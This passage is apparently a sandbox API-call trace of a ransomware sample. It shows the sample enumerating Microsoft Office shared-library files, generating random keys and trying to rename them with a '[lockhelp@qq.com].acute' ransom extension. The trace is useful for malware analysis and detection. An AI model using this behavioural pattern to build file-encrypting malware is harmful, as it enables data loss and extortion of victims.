lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0273.599] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll")) returned 0 [0273.599] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.600] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1870696) returned 1 [0273.600] CloseHandle (hObject=0x368) returned 1 [0273.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll")) returned 0x20 [0273.600] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0273.600] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll")) returned 0 [0273.600] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.600] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=591736) returned 1 [0273.601] CloseHandle (hObject=0x368) returned 1 [0273.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll")) returned 0x20 [0273.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.601] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.602] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=813824) returned 1 [0273.602] CloseHandle (hObject=0x368) returned 1 [0273.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll")) returned 0x20 [0273.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.602] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.602] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=49488) returned 1 [0273.602] CloseHandle (hObject=0x368) returned 1 [0273.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll")) returned 0x20 [0273.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.602] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.603] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=147344) returned 1 [0273.603] CloseHandle (hObject=0x368) returned 1 [0273.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll")) returned 0x20 [0273.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.604] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.605] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=148736) returned 1 [0273.605] CloseHandle (hObject=0x368) returned 1 [0273.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll")) returned 0x20 [0273.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.605] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.606] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1828608) returned 1 [0273.606] CloseHandle (hObject=0x368) returned 1 [0273.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll")) returned 0x20 [0273.606] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0273.606] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll")) returned 0 [0273.606] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.606] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=11646) returned 1 [0273.606] CloseHandle (hObject=0x368) returned 1 [0273.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms")) returned 0x20 [0273.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.606] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.607] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=2173696) returned 1 [0273.607] CloseHandle (hObject=0x368) returned 1 [0273.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll")) returned 0x20 [0273.607] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0273.607] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll")) returned 0 [0273.607] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.607] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=15712) returned 1 [0273.608] CloseHandle (hObject=0x368) returned 1 [0273.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe")) returned 0x20 [0273.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.608] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.608] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=4925184) returned 1 [0273.608] CloseHandle (hObject=0x368) returned 1 [0273.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe")) returned 0x20 [0273.608] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0273.608] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe")) returned 0 [0273.608] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.608] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=146192) returned 1 [0273.608] CloseHandle (hObject=0x368) returned 1 [0273.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll")) returned 0x20 [0273.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.609] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.609] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=47710) returned 1 [0273.609] CloseHandle (hObject=0x368) returned 1 [0273.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof")) returned 0x20 [0273.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.609] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.609] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=591168) returned 1 [0273.609] CloseHandle (hObject=0x368) returned 1 [0273.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll")) returned 0x20 [0273.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.609] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.610] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=444027) returned 1 [0273.610] CloseHandle (hObject=0x368) returned 1 [0273.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex")) returned 0x20 [0273.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 